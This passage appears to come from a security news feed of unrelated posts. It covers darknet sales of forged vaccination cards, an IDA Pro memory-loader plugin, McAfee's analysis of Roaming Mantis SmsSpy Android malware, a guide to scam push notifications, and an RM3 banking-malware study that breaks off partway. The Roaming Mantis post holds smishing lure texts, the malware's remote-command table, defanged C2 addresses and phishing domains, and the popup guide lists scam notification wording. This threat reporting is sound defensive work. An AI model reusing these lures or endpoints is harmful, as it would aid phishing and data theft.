However, following vaccination success, COVID-19 related cybercrime has increased. COVID-19 vaccines are currently available on at least a dozen darknet marketplaces. Pfizer-BioNTech COVID-19 vaccines (and we can only speculate as to whether they are genuine or a form of liquid “fool’s gold”) can be purchased for as little as $500 per dose from top-selling vendors. These sellers use various channels, such as Wickr, Telegram, WhatsApp and Gmail, for advertising and communications. Darknet listings associated with alleged Pfizer-BioNTech COVID-19 vaccines are selling for $600 to $2,500. Prospective buyers can receive the product within 2 to 10 days. Some of these supposed COVID-19 vaccines are imported from the United States, while others are packed in the United Kingdom and shipped to every country in the world, according to the underground advertisement.

Figure 1: Dark web marketplace offering COVID-19 vaccines

Figure 2: Dark web marketplace offering COVID-19 vaccines

A vendor sells 10 doses of what they claim to be Moderna COVID-29 vaccines for $2,000. According to the advertisement, the product is available to ship to the United Kingdom and worldwide.

Figure 3: Dark web marketplace offering COVID-19 vaccines

Besides what are claimed to be COVID-19 vaccines, cybercriminals offer antibody home test kits for $152 (again, we do not know whether they are genuine or not). According to the advertisement, there are various shipping options available. It costs $41 for ‘stealth’ shipping to the United States, $10.38 to ship to the United Kingdom, and $20 to mail the vaccines internationally.

Figure 4: Dark web marketplace offering COVID-19 test kits

Proof of Vaccination in the Underground Market

On the darknet marketplaces, the sales of counterfeit COVID-19 test results and vaccination certificates began to outnumber the COVID vaccine offerings in mid-April. This shift is most likely because COVID-19 vaccines are now readily available for those who want them. People can buy and show these certificates without being vaccinated. A growing number of colleges will require students to have received a COVID-19 vaccine before returning to in-person classes by this fall.[2] Soon, COVID-19 vaccination proof is likely to become a requirement of some type of “passport” to board a plane or enter major events and venues.

The growing demand for proof of vaccination is driving an illicit economy for fake vaccination and test certificates. Opportunistic cybercriminals capitalize on public interest in obtaining a COVID-19 immunity passport, particularly for those who oppose COVID-19 vaccines or test positive for COVID-19 but want to return to school or work, resume travel or attend a public event. Counterfeit negative COVID-19 test results and COVID-19 vaccination cards are available for sale at various darknet marketplaces. Fake CDC-issued vaccination cards are available for $50. One vendor offers counterfeit German COVID-19 certificates for $23.35. Vaccination cards with customized information, such as “verified” batch or lot numbers for particular dates and “valid” medical and hospital information, are also available for purchase.

One darknet marketplace vendor offers to sell a digital copy of the COVID-19 vaccination card with detailed printing instructions for $50.

Figure 5: Dark web marketplace offering COVID-19 vaccination cards

One vendor sells CDC vaccination cards for $1,200 and $1,500, as seen in the following screenshot. These cards, according to the advertisement, can be personalized with details such as the prospective buyer’s name and medical information.

Figure 6: Dark web marketplace offering COVID-19 vaccination cards

Other darknet marketplace vendors offer fake CDC-issued COVID-19 vaccination card packages for $1,200 to $2,500. The package contains a PDF file that buyers can type and print, as well as personalized vaccination cards with “real” lot numbers, according to the advertisement. Prospective buyers can pay $1,200 for blank cards or $1,500 for custom-made cards with valid batch numbers, medical and hospital details.

Figure 7: Dark web marketplace offering COVID-19 vaccination cards

One vendor offers counterfeit negative COVID-19 test results and vaccine passports to potential buyers.

Figure 8: Dark web marketplace offering negative COVID-19 test results and vaccination cards

A seller on another dark web market sells five counterfeit German COVID-19 certificates for $23.35. According to the advertisement below, the product is available for shipping to Germany and the rest of the world.

Figure 9: Dark web marketplace offering German COVID-19 vaccination certificates

Conclusion

The proliferation of fraudulent test results and counterfeit COVID-19 vaccine records on darknet marketplaces poses a significant threat to global health while fueling the underground economyWhile an increasing number of countries begin to roll out COVID-19 vaccines and proof of vaccination, questionable COVID vaccines and fake proofs are emerging on the underground market. With the EU and other jurisdictions opening their borders to those who have received vaccinations, individuals will be tempted to obtain false vaccination documents in their drive to a return to pre-pandemic normalcy that includes summer travel and precious time with missed loved ones. Those who buy questionable COVID-19 vaccines or forged vaccination certificaterisk their own lives and the lives of others. Apart from the harm to global health, making payments to darknet marketplaces promotes the growth of illegal products and services. The cycle of the underground economy continues as demand generates inventory, which generates supply. These are the unintended consequences of an effective global COVID vaccine rollout. 

[1] https[:]//www.cnn.com/interactive/2021/health/global-covid-vaccinations/

[2] https[:]//www.npr.org/2021/04/11/984787779/should-colleges-require-covid-19-vaccines-for-fall-more-campuses-are-saying-yes

The post “Fool’s Gold”: Questionable Vaccines, Bogus Results, and Forged Cards appeared first on McAfee Blog.

Data governance strategy in 2021 | Guest Rita Gurevich

By: Infosec
10 May 2021 at 07:00

This episode we welcome Rita Gurevich, CEO and founder of Sphere Technology Solutions. She talks about what it’s like to start her own company, why it is important to know your assets when setting policy, and what skills and experiences set applicants apart when they look to hire. Plus, she has plenty of data governance strategies to chat about. 

0:00​ - Intro
2:47​ - Origin story
4:51​ - The creation of Sphere
7:14​ - Working solo at Sphere
9:12​ - What would you change going back?
10:30​ - Pricing your business activities
12:36​ - Average day as a CEO
13:32​ - Favorite parts of the job
14:50​ - What is data governance?
17:40​ - Factors driving data growth
19:28​ - First steps to form data strategy
22:07​ - Data governance best practices
23:40​ - Time frame to get a master inventory
25:17​ - What does good data governance do
26:12​ - Skills I need for data governance and management
27:47​ - Importance of collaboration and mentorship
30:26​ - Skills and experiences for Sphere candidates
32:48​ - Tips to get into cybersecurity work
34:06​ - Outro

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

As the CEO and Founder of Sphere, Rita Gurevich is charged with leading the strategic growth of the organization in providing business critical governance, security and compliance solutions to customers spanning multiple geographic locations and industry verticals.

Gurevich founded Sphere after gaining a massive amount of experience in a short time period during the Lehman bankruptcy, the economic downturn of 2008, and the enhanced regulatory environment that dominated the industry. Being in a unique position from this experience, Gurevich founded Sphere as a single contributor, and worked strategically to grow the company into the entity it is today.

Gurevich is the recipient of multiple honors and awards including recognition from her Entrepreneurial skills from Ernst & Young, and SmartCEO, along with being on the 40 Under 40 list in 2017. In addition, Gurevich sits on the Board of Directors for the New Jersey Technology Council.

This week’s topic is data governance strategies in 2021. As more of what we do goes online and into the cloud, and as more people need access to information, making sure that entrance points aren’t more accessible than they need to be is more important than ever. We’re going to talk about the issues around this topic, and also job strategies for people who want to do this type of work.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with  skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

LibInjection – Detect SQL Injection (SQLi) and Cross-Site Scripting (XSS)

By: Darknet
7 May 2021 at 14:49
LibInjection is a C library to Detect SQL Injection (SQLi) and Cross-Site Scripting (XSS) through lexical analysis of real-world Attacks. SQLi and other injection attacks remain the top OWASP and CERT vulnerability. Current detection attempts frequently involve a myriad of regular expressions which are not only brittle and error-prone but also proven by Hanson and […]

Keep Malware Off Your Disk With SentinelOne’s IDA Pro Memory Loader Plugin

25 March 2021 at 11:26

Recent events have highlighted the fact that security researchers are high value targets for threat actors, and given that we deal with malware samples day in and day out, the possibility of either an accidental or intentional compromise is something we all have to take extra precautions to prevent.

Most security researchers will have some kind of AV installed such that downloading a malicious file should trigger a static detection when it is written to disk, but that raises two problems. If the researcher is actively investigating a sample and the AV throws a static detection, this can hamper the very work the researcher is employed to do. Second, it’s good practice not to put known malicious files on your PC: you just might execute them by mistake and/or make your machine “dirty” (in terms of IOCs found on your machine).

One solution to this problem would be to avoid writing samples to disk. As malware reverse engineers, we have to load malware, shellcode and assorted binaries into IDA on a daily basis. After a suggestion from our team member Kasif Dekel, we decided to tackle this problem by creating an IDA plugin that loads a binary into IDA without writing it to disk. We have made this plugin publicly available for other researchers to use. In this post, we’ll describe our Memory Loader plugin’s features, installation and usage.

Memory Loader Plugin

If you have not used IDA Pro plugins before, a plugin basically takes IDA Pro database functionality and extends it. For example, a plugin can take all function entry points and mark them in the graph in red, making it easier to spot them. The plugin feature runs after the IDA database is initialized, meaning there is already a binary loaded into the database. A loader loads a binary into the IDA database.

Our Memory Loader plugin offers several advanced features to the malware analyst. These include loading files from a memory buffer (any source), loading files from zip files (encrypted/unencrypted), and loading files from a URL. Let’s take a look at each in turn.

Loading Files From a Memory Buffer

This plugin offers a library called Memory Loader that anyone can use to extend further the loading capability of IDA Pro to load files from a memory buffer from any source.

MemoryLoader is the base memory loader, a DLL executable, where the memory loading capabilities are stored. Its main functionally is to take a buffer of bytes from a memory buffer and load it into IDA with the appropriate loading scheme.

You will then have an IDA database file and be able to reverse engineer the file just as if it were loaded from the disk but without the attendant risks that come with saving malware to your local drive.

After you’ve analyzed the binary, save your work and close IDA Pro. The temporary IDA db files will be deleted and you will be left with your IDA database file and no binary on the disk.

Loading Files From a Zip/Encrypted Zip

MemZipLoader is able to load both encrypted and plain ZIP files into memory without writing the file to the disk. The loader accepts specific zip format files (.zip). After accepting a zip file, it will display the zip files and allow you to choose the file you want to work with.

MemZipLoader will extract the file from the input ZIP into a memory buffer and load it into IDA without writing it to disk and storing the encrypted zip file on your drive.

Loading Files From a URL

UrlLoader makes loading a file from a URL very easy. The loader is always suggested for any file you open. After you select UrlLoader, you will be asked to enter a URL, and the file downloaded will be stored in a memory buffer.

You will be able to reverse engineer the file and make changes to the IDA database. After you close the IDA window, you will be left with only the database file.

Installation Guide (tested on IDA 7.5+)

  1. Download zip with binaries from here.
  2. Extract the zip files to a folder.
  3. Place the loaders in the loaders directory of IDA.
      1. MemoryLoader.dll -> (C:\Program Files\IDA Pro 7.5)
      2. MemoryLoader64.dll -> (C:\Program Files\IDA Pro 7.5)

  • Place the memory loader DLL in the IDA directory folder.
    1. MemZipLoader64.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
    2. UrlLoader64.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
    3. UrlLoader.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
    4. MemZipLoader.dll -> (C:\Program Files\IDA Pro 7.5\loaders)

How to Use MemZipLoader & UrlLoader

You can load binaries with MemZipLoader and UrlLoader as follows:

MemZipLoader:

  1. Open IDA and choose zip file.
  2. IDA should automatically suggest the loader:
  3. Once selected, a list of the files from the zip will be displayed:
  4. IDA will then use the loader code and load it as if the binary was a local file on the system.

UrlLoader:

  1. Open any file on your computer in a directory you have write privileges to.
  2. The UrlLoader will suggest a file to open.
  3. After you chose UrlLoader, you will be asked enter a URL:
  4. The loader will browse to the network location you entered. Then IDA Pro will use the loader code and load the binary as if it was a local file.

Setting Up Visual Studio Development

In order to set up the plugin for Visual Studio development, follow these steps.

    1. Open a DLL project in Visual Studio
    2. An IDA loader has three key parts: the accept function, the load function and the loader definition block. Your dllmain file is the file where the loader definition will be.
    3. accept_file – this function returns a boolean if the loader is relevant to the current binary that is being loaded into IDA. For example, if you are loading a PE, the build_loaders_list should return PE.dll as one of the loading options.

load_file – this function is responsible for loading a file into the database. For each loader this function acts differently, so there is not much to say here. Documentation on loaders can be found here.

  1. The project can be compiled into two versions x64 for IDA with x64 addresses, and x64 for IDA x64 with 32 bit addresses. From this point forward we will mark them:
    1. X64 | X64 – 64 bit IDA with 64 BIT addresses
    2. X32 | X64 – 64 bit IDA with 32 BIT addresses

 

  • Target file name (Configuration Properties -> Target Name)
    1. X64 | X64 – $(ProjectName)64
    2. X32 | X64 – $(ProjectName)
  • Include header files: (Similar in: (X64 | x64) and( X64 | X32)
    1. Configuration Properties -> C/C++ -> Additional Include Directories – should point to the location of your IDA PRO SDK.
    2. Set Runtime Library -> Multi-threaded Debug (/MTd)
  • Include lib files:
    1. X64 | X64
      1. idasdk75\lib\x64_win_vc_64
  • X64 | X32
    1. idasdk75\lib\x64_win_vc_32
    2. idasdk75\lib\x64_win_vc_64
  • Preprocessor Definitions (Configuration Properties -> C/C++ -> Preprocessor Definitions):
    1. X64 | X64 add: __EA64__
    2. X32 | X64 add: __X64__, __NT__
  • Preprocessor Definitions (Configuration Properties -> C/C++ -> Undefined Preprocessor Definitions):
    1. X32 | X64: __EA64__
  • Conclusion

    When downloading malware to analyze from repositories like VirusTotal, the sample is usually zipped so that the endpoint security doesn’t detect it as malicious. Using our Memory Loader plugin will enable you to reverse engineer malicious binaries without writing them to the disk.

    Using the Memory Loader plugin also saves you time analyzing binaries. When working with malicious content in IDA Pro often a different environment is created for it, usually in a virtual machine. Copying the binary and setting up the machine for research every time you want to open IDA is time-expensive. The Memory Loader plugin will allow you to work from your machine in a safer and more productive way.

    Please note that a IDA professional license is needed to use and develop extensions for IDA Pro.

    The SentinelOne IDA Pro Memory Loader Plugin is available on Github.

 

The post Keep Malware Off Your Disk With SentinelOne’s IDA Pro Memory Loader Plugin appeared first on SentinelLabs.

Roaming Mantis Amplifies Smishing Campaign with OS-Specific Android Malware

5 May 2021 at 18:17
Quel antivirus choisir ?

The Roaming Mantis smishing campaign has been impersonating a logistics company to steal SMS messages and contact lists from Asian Android users since 2018. In the second half of 2020, the campaign improved its effectiveness by adopting dynamic DNS services and spreading messages with phishing URLs that infected victims with the fake Chrome application MoqHao.

Since January 2021, however, the McAfee Mobile Research team has established that Roaming Mantis has been targeting Japanese users with a new malware called SmsSpy. The malicious code infects Android users using one of two variants depending on the version of OS used by the targeted devices. This ability to download malicious payloads based on OS versions enables the attackers to successfully infect a much broader potential landscape of Android devices.

Smishing Technique

The phishing SMS message used is similar to that of recent campaigns, yet the phishing URL contains the term “post” in its composition.

Japanese message: I brought back your luggage because you were absent. please confirm. hxxps://post[.]cioaq[.]com

 

Fig: Smishing message impersonating a notification from a logistics company. (Source: Twitter)

Another smishing message pretends to be a Bitcoin operator and then directs the victim to a phishing site where the user is asked to verify an unauthorized login.

Japanese message: There is a possibility of abnormal login to your [bitFlyer] account. Please verify at the following URL: hxxps://bitfiye[.]com

 

Fig: Smishing message impersonating a notification from a bitcoin operator. (Source: Twitter)

During our investigation, we observed the phishing website hxxps://bitfiye[.]com redirect to hxxps://post.hygvv[.]com. The redirected URL contains the word “post” as well and follows the same format as the first screenshot. In this way, the actors behind the attack attempt to expand the variation of the SMS phishing campaign by redirecting from a domain that resembles a target company and service.

Malware Download

Characteristic of the malware distribution platform, different malware is distributed depending on the Android OS version that accessed the phishing page. On Android OS 10 or later, the fake Google Play app will be downloaded. On Android 9 or earlier devices, the fake Chrome app will be downloaded.

Japanese message in the dialog: “Please update to the latest version of Chrome for better security.”

Fig: Fake Chrome application for download (Android OS 9 or less)

 

Japanese message in the dialog: “[Important] Please update to the latest version of Google Play for better security!”

 

Fig: Fake Google Play app for download (Android OS 10 or above)

Because the malicious program code needs to be changed with each major Android OS upgrade, the malware author appears to cover more devices by distributing malware that detects the OS, rather than attempting to cover a smaller set with just one type of malware

Technical Behaviors

The main purpose of this malware is to steal phone numbers and SMS messages from infected devices. After it runs, the malware pretends to be a Chrome or Google Play app that then requests the default messaging application to read the victim’s contacts and SMS messages. It pretends to be a security service by Google Play on the latest Android device. Additionally, it can also masquerade as a security service on the latest Android devices. Examples of both are seen below.

Japanese message: “At first startup, a dialog requesting permissions is displayed. If you do not accept it, the app may not be able to start, or its functions may be restricted.”

 

Fig: Default messaging app request by fake Chrome app

 

Japanese message: “Secure Internet Security. Your device is protected. Virus and Spyware protection, Anti-phishing protection and Spam mail protection are all checked.”

Fig: Default messaging app request by fake Google Play app

After hiding its icon, the malware establishes a WebSocket connection for communication with the attacker’s command and control (C2) server in the background. The default destination address is embedded in the malware code. It further has link information to update the C2 server location in the event it is needed. Thus, if no default server is detected, or if no response is received from the default server, the C2 server location will be obtained from the update link.

The MoqHao family hides C2 server locations in the user profile page of a blog service, yet some samples of this new family use a Chinese online document service to hide C2 locations. Below is an example of new C2 server locations from an online document:

Fig: C2 server location described in online document

As part of the handshake process, the malware sends the Android OS version, phone number, device model, internet connection type (4G/Wi-Fi), and unique device ID on the infected device to the C2 server.

Then it listens for commands from the C2 server. The sample we analyzed supported the commands below with the intention of stealing phone numbers in Contacts and SMS messages.

Command String Description
通讯录 Send whole contact book to server
收件箱 Send all SMS messages to server
拦截短信&open Start <Delete SMS message>
拦截短信&close Stop <Delete SMS message>
发短信& Command data contains SMS message and destination number, send them via infected device

Table: Remote commands via WebSocket

Conclusion

We believe that the ongoing smishing campaign targeting Asian countries is using different mobile malware such as MoqHao, SpyAgent, and FakeSpy. Based on our research, the new type of malware discovered this time uses a modified infrastructure and payloads. We believe that there could be several groups in the cyber criminals and each group is developing their attack infrastructures and malware separately. Or it could be the work of another group who took advantage of previously successful cyber-attacks.

McAfee Mobile Security detects this threat as Android/SmsSpy and alerts mobile users if it is present and further protects them from any data loss. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com.

Appendix – IoC

C2 Servers:

  • 168[.]126[.]149[.]28:7777
  • 165[.]3[.]93[.]6:7777
  • 103[.]85[.]25[.]165:7777

Update Links:

  • r10zhzzfvj[.]feishu.cn/docs/doccnKS75QdvobjDJ3Mh9RlXtMe
  • 0204[.]info
  • 0130one[.]info
  • 210302[.]top
  • 210302bei[.]top

Phishing Domains:

Domain Registration Date
post.jpostp.com 2021-03-15
manag.top 2021-03-11
post.niceng.top 2021-03-08
post.hygvv.com 2021-03-04
post.cepod.xyz 2021-03-04
post.jposc.com 2021-02-08
post.ckerr.site 2021-02-06
post.vioiff.com 2021-02-05
post.cioaq.com 2021-02-04
post.tpliv.com 2021-02-03
posk.vkiiu.com 2021-02-01
sagawae.kijjh.com 2021-02-01
post.viofrr.com 2021-01-31
posk.ficds.com 2021-01-30
sagawae.ceklf.com 2021-01-30
post.giioor.com 2021-01-30
post.rdkke.com 2021-01-29
post.japqn.com 2021-01-29
post.thocv.com 2021-01-28
post.xkdee.com 2021-01-27
post.sagvwa.com 2021-01-25
post.aiuebc.com 2021-01-24
post.postkp.com 2021-01-23
post.solomsn.com 2021-01-22
post.civrr.com 2021-01-21
post.jappnve.com 2021-01-19
sp.vvsscv.com 2021-01-16
ps.vjiir.com 2021-01-15
post.jpaeo.com 2021-01-12
t.aeomt.com 2021-01-2

 

Sample Hash information:

Hash Package name Fake Application
EA30098FF2DD1D097093CE705D1E4324C8DF385E7B227C1A771882CABEE18362 com.gmr.keep Chrome
29FCD54D592A67621C558A115705AD81DAFBD7B022631F25C3BAAE954DB4464B com.gmr.keep Google Play
9BEAD1455BFA9AC0E2F9ECD7EDEBFDC82A4004FCED0D338E38F094C3CE39BCBA com.mr.keep Google Play
D33AB5EC095ED76EE984D065977893FDBCC12E9D9262FA0E5BC868BAD73ED060 com.mrc.keep Chrome
8F8C29CC4AED04CA6AB21C3C44CCA190A6023CE3273EDB566E915FE703F9E18E com.hhz.keeping Chrome
21B958E800DB511D2A0997C4C94E6F0113FC4A8C383C73617ABCF1F76B81E2FD com.hhz.keeping Google Play
7728EF0D45A337427578AAB4C205386CE8EE5A604141669652169BA2FBA23B30 com.hz.keep3 Chrome
056A2341C0051ACBF4315EC5A6EEDD1E4EAB90039A6C336CC7E8646C9873B91A com.hz.keep3 Google Play
054FA5F5AD43B6D6966CDBF4F2547EDC364DDD3D062CD029242554240A139FDB com.hz.keep2 Google Play
DD40BC920484A9AD1EEBE52FB7CD09148AA6C1E7DBC3EB55F278763BAF308B5C com.hz.keep2 Chrome
FC0AAE153726B7E0A401BD07C91B949E8480BAA0E0CD607439ED01ABA1F4EC1A com.hz.keep1 Google Play
711D7FA96DFFBAEECEF12E75CE671C86103B536004997572ECC71C1AEB73DEF6 com.hz.keep1 Chrome
FE916D1B94F89EC308A2D58B50C304F7E242D3A3BCD2D7CCC704F300F218295F com.hz.keep1 Google Play
3AA764651236DFBBADB28516E1DCB5011B1D51992CB248A9BF9487B72B920D4C com.hz.keep1 Chrome
F1456B50A236E8E42CA99A41C1C87C8ED4CC27EB79374FF530BAE91565970995 com.hz.keep Google Play
77390D07D16E6C9D179C806C83D2C196A992A9A619A773C4D49E1F1557824E00 com.hz.keep Chrome
49634208F5FB8BCFC541DA923EBC73D7670C74C525A93B147E28D535F4A07BF8 com.hz.keep Chrome
B5C45054109152F9FE76BEE6CBBF4D8931AE79079E7246AA2141F37A6A81CBA3 com.hz.keep Google Play
85E5DBEA695A28C3BA99DA628116157D53564EF9CE14F57477B5E3095EED5726 com.hz.keep Chrome
53A5DD64A639BF42E174E348FEA4517282C384DD6F840EE7DC8F655B4601D245 com.hz.keep Google Play
80B44D23B70BA3D0333E904B7DDDF7E19007EFEB98E3B158BBC33CDA6E55B7CB com.hz.keep Chrome
797CEDF6E0C5BC1C02B4F03E109449B320830F5ECE0AA6D194AD69E0FE6F3E96 com.hz.keep Chrome
691687CB16A64760227DCF6AECFE0477D5D983B638AFF2718F7E3A927EE2A82C com.hz.keep Google Play
C88C3682337F7380F59DBEE5A0ED3FA7D5779DFEA04903AAB835C959DA3DCD47 com.hz.keep Google Play

 

The post Roaming Mantis Amplifies Smishing Campaign with OS-Specific Android Malware appeared first on McAfee Blog.

CVE‑2021‑1079 – NVIDIA GeForce Experience Command Execution

By: voidsec
5 May 2021 at 07:11

NVIDIA GeForce Experience (GFE) v.<= 3.21 is affected by an Arbitrary File Write vulnerability in the GameStream/ShadowPlay plugins, where log files are created using NT AUTHORITY\SYSTEM level permissions, which lead to Command Execution and Elevation of Privileges (EoP). NVIDIA Security Bulletin – April 2021 NVIDIA Acknowledgements Page This blog post is a re-post of the […]

The post CVE‑2021‑1079 – NVIDIA GeForce Experience Command Execution appeared first on VoidSec.

How to Stop the Popups

5 May 2021 at 18:06

McAfee is tracking an increase in the use of deceptive popups that mislead some users into taking action, while annoying many others.  A significant portion is attributed to browser-based push notifications, and while there are a couple of simple steps users can take to prevent and remediate the situation, there is also some confusion about how these should be handled.

How does this happen?

In many cases scammers use deception to trick users into Allowing push notifications to be delivered to their system.

In other cases, there is no deception involved.  Users willingly opt-in uncoerced.

What happens next?

After Allowing notifications, messages quickly start being received.  Some sites send notifications as often as every minute.

Many messages are deceptive in nature.  Consider this fake alert example.  Clicking the message leads to an imposter Windows Defender alert website, complete with MP3 audio and a phone number to call.

In several other examples, social engineering is crafted around the McAfee name and logo.  Clicking on the messages lead to various websites informing the user their subscription has expired, that McAfee has detected threats on their system, or providing direct links to purchase a McAfee subscription.  Note that “Remove Ads” and similar notification buttons typically lead to the publishers chosen destination rather than anything that would help the user in disabling the popups.  Also note that many of the destination sites themselves prompt the user to Allow more notifications.  This can have a cascading effect where the user is soon flooded with many messages on a regular basis.

 

How can this be remediated?

First, it’s important to understand that the representative images provided here are not indications of a virus infection.  It is not necessary to update or purchase software to resolve the matter.  There is a simple fix:

1. Note the name of the site sending the notification in the popup itself. It’s located next to the browser name, for example:

Example popup with a link to a Popup remover

2. Go to your browser settings’ notification section

3. Search for the site name and click the 3 dotes next to the entry.

Chrome’s notification settings

4. Select Block

Great, but how can this be prevented in the future?

The simplest way is to carefully read such authorization prompts and only click Allow on sites that you trust.  Alternatively, you can disable notification prompts altogether.

As the saying goes, an ounce of prevention is worth a pound of cure.

What other messages should I be on the lookout for?

While there are thousands of various messages and sites sending them, and messages evolve over time, these are the most common seen in April 2021:

  • Activate Protection Now?|Update Available: Antivirus
  • Activate your free security today – Download now|Turn On Windows Protection ✅
  • Activate your McAfee, now! ✅|Click here to review your PC protection
  • Activate your Mcafee, now! ✅|Reminder From McAfee
  • Activate your Norton, now! ✅|Click here to review your PC protection
  • Activate Your PC Security ✅|Download your free Windows protection now.
  • Antivirus Gratis Installieren✅|Bestes Antivirus–Kostenlos herunterladen
  • Antivirus Protection|Download Now To Protect Your Computer From Viruses &amp; Malware Attacks
  • Best Antivirus 2020 – Download Free Now|Install Your Free Antivirus ✅
  • Check here with a Free Virus Scan|Is Windows slow due to virus?
  • Click here to activate McAfee protection|McAfee Safety Alert
  • Click here to activate McAfee protection|Turn on your antivirus
  • Click Here To Activate McAfee Protection|Upgrade Your Antivirus
  • Click here to activate Norton protection|Turn on your antivirus ✅
  • Click here to clean.|System is infected!
  • Click here to fix the error|Protect your PC now !
  • Click here to fix the error|System alert!
  • Click here to protect your data.|Remove useless files advised
  • Click Here To Renew Subscription|Viruses Found (3)
  • Click here to review your PC protection|⚠ Your Mcafee has Expired
  • Click here to Scan and Remove Virus|Potential Virus?
  • Click To Renew Your Subscription|Viruses Found (3)
  • Click to turn on your Norton protection|New (1) Security Notification
  • Critical Virus Alert|Turn on virus protection
  • Free Antivirus Update is|available.Download and protect system?
  • Install Antivirus Now!|Norton – Protect Your PC!
  • Install FREE Antivirus now|Is the system under threat?
  • Install free antivirus|Protect your Windows PC!
  • Jetzt KOSTENLOSES Antivirus installieren|Wird das System bedroht?
  • McAfee Safety Alert|Turn on your antivirus now [Activate]
  • McAfee Total Protection|Trusted Antivirus and Privacy Protection
  • Norton Antivirus|Stay Protected. Activate Now!
  • Norton Expired 3 Days Ago!⚠ |Renew now to stay protected for your PC!
  • PC is under virus threat! |Renew Norton now to say protected ⚠
  • Protect Your Computer From Viruses|⚠ Activate McAfee Antivirus
  • Renew McAfee License Now!|Stay Protected. Renew Now!
  • Renew McAfee License Now!|Your McAfee Has Expired Today
  • Renew Norton License Now!|Your Norton Has Expired Today
  • Renew Now For 2021|Your Norton has Expired Today?
  • Renew now to stay protected!|⚠ Your Mcafee has Expired
  • Scan Report Ready|Tap to reveal
  • Turn on virus protection|Viruses found (3)
  • Your Computer Might be At Risk ☠ |❌ Renew Norton Antivirus!

General safety tips

  • Scams can be quite convincing. It’s better to be quick to block something and slow to allow than the opposite.
  • When in doubt, initiate the communication yourself.
    • Manually enter in a web address rather than clicking a link sent to you.
    • Confirm numbers and addresses before reaching out, such as phone and email.
  • McAfee customers utilizing web protection (including McAfee Web Advisor and McAfee Web Control) are protected from known malicious sites.

The post How to Stop the Popups appeared first on McAfee Blog.

RM3 – Curiosities of the wildest banking malware

By: riftsle
4 May 2021 at 14:47

fumik0_ & the RIFT Team

TL:DR

Our Research and Intelligence Fusion Team have been tracking the Gozi variant RM3 for close to 30 months. In this post we provide some history, analysis and observations on this most pernicious family of banking malware targeting Oceania, the UK, Germany and Italy. 

We’ll start with an overview of its origins and current operations before providing a deep dive technical analysis of the RM3 variant. 

Introduction

Despite its long and rich history in the cyber-criminal underworld, the Gozi malware family is surrounded with mystery and confusion. The leaking of its source code only increased this confusion as it led to an influx of Gozi variants across the threat landscape.  

Although most variants were only short-lived – they either disappeared or were taken down by law enforcement – a few have had greater staying power. 

Since September 2019, Fox-IT/NCC Group has intensified its research into known active Gozi variants. These are operated by a variety of threat actors (TAs) and generally cause financial losses by either direct involvement in transactional fraud, or by facilitating other types of malicious activity, such as targeted ransomware activity. 

Gozi ISFB started targeting financial institutions around 2013-2015 and hasn’t stopped since then. It is one of the few – perhaps the only – main active branches of the notorious 15 year old Gozi / CRM. Its popularity is probably due to the wide range of variants which are available and the way threat actor groups can use these for their own goals. 

In 2017, yet another new version was detected in the wild with a number of major modifications compared to the previous main variant:

  • Rebranded RM loader (called RM3
  • Used exotic PE file format exclusively designed for this banking malware 
  • Modular architecture 
  • Network communication reworked 
  • New modules 

Given the complex development history of the Gozi ISFB forks, it is difficult to say with any certainty which variant was used as the basis for RM3. This is further complicated by the many different names used by the Cyber Threat Intelligence and Anti-Virus industries for this family of malware. But if you would like to understand the rather tortured history of this particular malware a little better, the research and blog posts on the subject by Check Point are a good starting point.

Banking malware targeting mainly Europe & Oceania

With more than four years of activity, RM3 has had a significant impact on the financial fraud landscape by spreading a colossal number of campaigns, principally across two regions:

  • Oceania, to date, Australia and New Zealand are the most impacted countries in this region. Threat actors seemed to have significant experience and used traditional means to conduct fraud and theft, mainly using web injects to push fakes or replacers directly into financial websites. Some of these injectors are more advanced than the usual ones that could be seen in bankers, and suggest the operators behind them were more sophisticated and experienced.
  • Europe, targeting primarily the UK, Germany and Italy. In this region, a manual fraud strategy was generally followed which was drastically different to the approach seen in Oceania.
Two different approaches to fraud used in Europe and Oceania

It’s worth noting that ‘Elite’ in this context means highly skilled operators. The injects provided and the C&C servers are by far the most complicated and restricted ones seen up to this date in the fraud landscape.

Fox-IT/NCC Group has currently counted at least eight* RM3 infrastructures:

  • 4 in Europe
  • 2 in Oceania (that seem to be linked together based on the fact that they share the same inject configurations)
  • 1 worldwide (using AES-encryption)
  • 1 unknown

Looking back, 2019 seems to have been a golden age (at least from the malware operators’ perspective), with five operators active at the same time. This golden age came to a sudden end with a sharp decline in 2020.

RM3 timeline of active campaigns seen in the wild

Even when some RM3 controllers were not delivering any new campaigns, they were still managing their bots by pushing occasional updates and inspecting them carefully. Then, after a number of weeks, they start performing fraud on the most interesting targets. This is an extremely common pattern among bank malware operators in our experience, although the reasons for this pattern remain unclear. It may be a tactic related to maintaining stealth or it may simply be an indication of the operators lagging behind the sheer number of infections.

The global pandemic has had a noticeable impact on many types of RM3 infrastructure, as it has on all malware as a service (MaaS) operations. The widespread lockdowns as a result of the pandemic have resulted in a massive number of bots being shut down as companies closed and users were forced to work from home, in some cases using personal computers. This change in working patterns could be an explanation for what happened between Q1 & Q3 2020, when campaigns were drastically more aggressive than usual and bot infections intensified (and were also of lower quality, as if it was an emergency). The style of this operation differed drastically from the way in which RM3 operated between 2018 and 2019, when there was a partnership with a distributor actor called Sagrid.

Analysis of the separate campaigns reveals that individual campaign infrastructures are independent from each of the others and operate their own strategies:

RM3 InfraTasksInjects
Financial VNC SOCKS
UK 1 No‡ Yes Yes Yes
UK 2 Yes No No No
Italy No‡ Yes Yes Yes
Australia/NZ 1 Yes Yes No‡ No
Australia/NZ 2 Yes Yes No‡ No
RM3 .at ??? ??? ??? ???
Germany ??? ??? ??? ???
Worldwide Yes No No No

Based on the web inject configuration file from config.bin
Based on active campaign monitoring, threat actor team(s) are mainly inspecting bots to manually push extra commands like VNC module for starting fraud activities.

A robust and stable distribution routine

As with many malware processes, renewing bots is not a simple, linear thing and many elements have to be taken into consideration:

  • Malware signatures
  • Packer evading AV/EDR
  • Distribution used (ratio effectiveness)
  • Time of an active campaign before being takedown by abuse

